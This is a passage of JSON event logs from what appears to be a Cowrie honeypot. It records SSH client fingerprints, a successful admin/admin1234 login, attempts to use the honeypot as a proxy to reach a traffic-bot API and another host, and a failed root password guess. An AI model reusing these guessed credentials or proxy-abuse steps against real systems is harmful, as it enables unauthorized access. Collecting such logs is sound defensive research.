bc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:08.043894Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:10.483812Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:21.917334Z","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:21.954548Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1.1 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VDMhTWJPdUNwSm9zeishcw%3D%3DGCgAiW1SpVbgBi9MTgbiYSNbP0%2FzgxN6MZr3VVa6WjJRDuG36v9DqUxkFcLm6fEbNX8tBvlVdp8WRackbdo%2Fd%2BIl7Le5quU2iRQkr%2BdyHjliLe%2BaqwoDzcAbjSv3DLE0pxKtPwGT7uBtbVL6%2FhxaeKbQ6Llm2FACXuRHyuBfNxhS9CIMndjMkKVvNN2PaLv1gyljbTMeIz%2F%2FHQVRabcRArG1USwU3rGMNQ5ZXTeJ880MueFN2TKgPOYhWuhZRsR72bkfkVBTh8PS6taCYuJqeMSgSaqfBiPBpE1Gz3n6zBpUWKV%2Byq1bUPReubHFYxseDDQ8EoT0oDTUhWeCdBqwJlfP2GET%2FpP5yPo7Vz6Q%2BFFMb7IJwfPObV5h57Qy3Z%2FycdcfyK6%2Fuzq1ayk6oobsqQNdjgQbKDFM1joS%2B%2FgRI7eCNaT6q5PIzmuYowwp6JQ2yVk9Y6PMWC71NAAO58kJqCiFe%2FjjxCNTCK%2BgSgOWfhBHTOMOiI5fQmU%2F1VOqjl5mRRuXbFuD2PMjgS%2FzDKNmAS10ef6nYl214zF9OwhoIPWOAiemB9D69W5sN%2FD9iYIBmOi%2BdrTn2U8TvajfXe%2B0rw0nJNsRiRIAOEBiX6J66Iofl4rZ3W5hxYcwF0mJZUvoFtuu4BNT16X8gCjmj7MyueqsNeWI3yrlKjeuyFVHLSJX%2BhwBMGCm2%2Frt1c7eiX2aJR9l5KFBnXkPlcIvmeN34XoQpBHPIPUn%2F%2FuNMa8Hv73HwBSPxCrNyVeA13pF6R3fnQJJO2vOee3KNyKWG9Ewsem4%2BI%2BXuQElAcq2ZIRxJAn8Ucsgey9DipRxgndC303jK3YNVfwhKhCmC09j75fzDDgOUZQ9PR8tFfC3cqWkrW%2Bfr%2Fo5CAQkjxXncjLJuAzuLnlrCcR1W2HE3zRLkjYG6dmlsa1BnVWQg2%2FziZLsv5RSvsOK7V%2Bw8gyiq5HgaWiVBqdHlACSSBmUNM%2BTxrkpdgQxUj16lmtWIFeV8ECwuGcKuDxvdp0OFz%2BWjHO9kZiqts0Td%2BcrScMjDtmhn7kYGV%2Fdy6DdBNbdKqy8DBcM2FHdyiTABl1nNxTzNtuf6tm6'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1.1 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VDMhTWJPdUNwSm9zeishcw%3D%3DGCgAiW1SpVbgBi9MTgbiYSNbP0%2FzgxN6MZr3VVa6WjJRDuG36v9DqUxkFcLm6fEbNX8tBvlVdp8WRackbdo%2Fd%2BIl7Le5quU2iRQkr%2BdyHjliLe%2BaqwoDzcAbjSv3DLE0pxKtPwGT7uBtbVL6%2FhxaeKbQ6Llm2FACXuRHyuBfNxhS9CIMndjMkKVvNN2PaLv1gyljbTMeIz%2F%2FHQVRabcRArG1USwU3rGMNQ5ZXTeJ880MueFN2TKgPOYhWuhZRsR72bkfkVBTh8PS6taCYuJqeMSgSaqfBiPBpE1Gz3n6zBpUWKV%2Byq1bUPReubHFYxseDDQ8EoT0oDTUhWeCdBqwJlfP2GET%2FpP5yPo7Vz6Q%2BFFMb7IJwfPObV5h57Qy3Z%2FycdcfyK6%2Fuzq1ayk6oobsqQNdjgQbKDFM1joS%2B%2FgRI7eCNaT6q5PIzmuYowwp6JQ2yVk9Y6PMWC71NAAO58kJqCiFe%2FjjxCNTCK%2BgSgOWfhBHTOMOiI5fQmU%2F1VOqjl5mRRuXbFuD2PMjgS%2FzDKNmAS10ef6nYl214zF9OwhoIPWOAiemB9D69W5sN%2FD9iYIBmOi%2BdrTn2U8TvajfXe%2B0rw0nJNsRiRIAOEBiX6J66Iofl4rZ3W5hxYcwF0mJZUvoFtuu4BNT16X8gCjmj7MyueqsNeWI3yrlKjeuyFVHLSJX%2BhwBMGCm2%2Frt1c7eiX2aJR9l5KFBnXkPlcIvmeN34XoQpBHPIPUn%2F%2FuNMa8Hv73HwBSPxCrNyVeA13pF6R3fnQJJO2vOee3KNyKWG9Ewsem4%2BI%2BXuQElAcq2ZIRxJAn8Ucsgey9DipRxgndC303jK3YNVfwhKhCmC09j75fzDDgOUZQ9PR8tFfC3cqWkrW%2Bfr%2Fo5CAQkjxXncjLJuAzuLnlrCcR1W2HE3zRLkjYG6dmlsa1BnVWQg2%2FziZLsv5RSvsOK7V%2Bw8gyiq5HgaWiVBqdHlACSSBmUNM%2BTxrkpdgQxUj16lmtWIFeV8ECwuGcKuDxvdp0OFz%2BWjHO9kZiqts0Td%2BcrScMjDtmhn7kYGV%2Fdy6DdBNbdKqy8DBcM2FHdyiTABl1nNxTzNtuf6tm6'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:21.957633Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:22.271609Z","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:22.305800Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xf7x*\\x99J\\xd2s\\xb7\\xd4\\xda7\\xe0@\\x89\\xe9T\\xc2\\x06\\x19\\x0e\\xc7\\xccX\\x07\\xa2\\x05\\x98\\xf7\\xf3I* \\x8a69b\\x03\\xd1\\xe6\\xc3\\x7f\\xec\\r=\\xe6\\xee\\xa2\\xf3:Mso\\x10\\x08\"\\xe6Y\\xef\\x08]\\xe0\\xa6\"\\x0f\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xedd`\\xa6\\xbd\\xf8w\\xd7T\\xb3 d*\\xf5\\xf2\\x95{\\xa8{\\xed\\x9e\\x83\\x9b\\x0fc\\xbds\\x89\\xb5\\xd2F=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x84\\xf7x*\\x99J\\xd2s\\xb7\\xd4\\xda7\\xe0@\\x89\\xe9T\\xc2\\x06\\x19\\x0e\\xc7\\xccX\\x07\\xa2\\x05\\x98\\xf7\\xf3I* \\x8a69b\\x03\\xd1\\xe6\\xc3\\x7f\\xec\\r=\\xe6\\xee\\xa2\\xf3:Mso\\x10\\x08\"\\xe6Y\\xef\\x08]\\xe0\\xa6\"\\x0f\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xedd`\\xa6\\xbd\\xf8w\\xd7T\\xb3 d*\\xf5\\xf2\\x95{\\xa8{\\xed\\x9e\\x83\\x9b\\x0fc\\xbds\\x89\\xb5\\xd2F=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:22.308655Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:22.380955Z","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:22.420820Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\xe4\\x01\\x13=\\n\\x90^Q\\xe9\\xa7\\xb2\\xb6\\xe9\\xc6]\\x08\\xea[d\\t\\xfd\\xea\\xdbw\\x10\\x8dX\\xee\\xb5\\xfd\\xe3 \\xcb\\xe7\\xdd \\xec\\x8bQ\\xcb\\x16Z^p$6\\xc8N.\\xf0_\\x83)O\\xbbw\\xb9i\\x08\\xa1\\xfb\\x90\\x94\\xaf\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 20\\xb9\\xc6\\x03>\\x03>\\x8eL\\\\i\\xab<\\xb7\\x83\\n(r\\x19;tZ\\xa1\\x8a\\xc3\\xd6(B\\x85\\xb9/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03:\\xe4\\x01\\x13=\\n\\x90^Q\\xe9\\xa7\\xb2\\xb6\\xe9\\xc6]\\x08\\xea[d\\t\\xfd\\xea\\xdbw\\x10\\x8dX\\xee\\xb5\\xfd\\xe3 \\xcb\\xe7\\xdd \\xec\\x8bQ\\xcb\\x16Z^p$6\\xc8N.\\xf0_\\x83)O\\xbbw\\xb9i\\x08\\xa1\\xfb\\x90\\x94\\xaf\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 20\\xb9\\xc6\\x03>\\x03>\\x8eL\\\\i\\xab<\\xb7\\x83\\n(r\\x19;tZ\\xa1\\x8a\\xc3\\xd6(B\\x85\\xb9/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:22.426000Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:25.940760Z","src_ip":"63.141.242.2","session":"2d67c27f2211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48260,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed29485ee00","protocol":"telnet","message":"New connection: 172.81.62.90:48260 (159.203.135.109:23) [session: 1ed29485ee00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:49.244730Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":39222,"dst_ip":"10.17.0.5","dst_port":22,"session":"51373ef518b4","protocol":"ssh","message":"New connection: 103.82.20.28:39222 (10.17.0.5:22) [session: 51373ef518b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:50.973072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:50.976638Z","src_ip":"103.82.20.28","session":"51373ef518b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:51.241049Z","src_ip":"103.82.20.28","session":"51373ef518b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20021981","message":"login attempt [root/20021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:52.037400Z","src_ip":"103.82.20.28","session":"51373ef518b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:48:53.304823Z","src_ip":"103.82.20.28","session":"51373ef518b4","protocol":"ssh"}
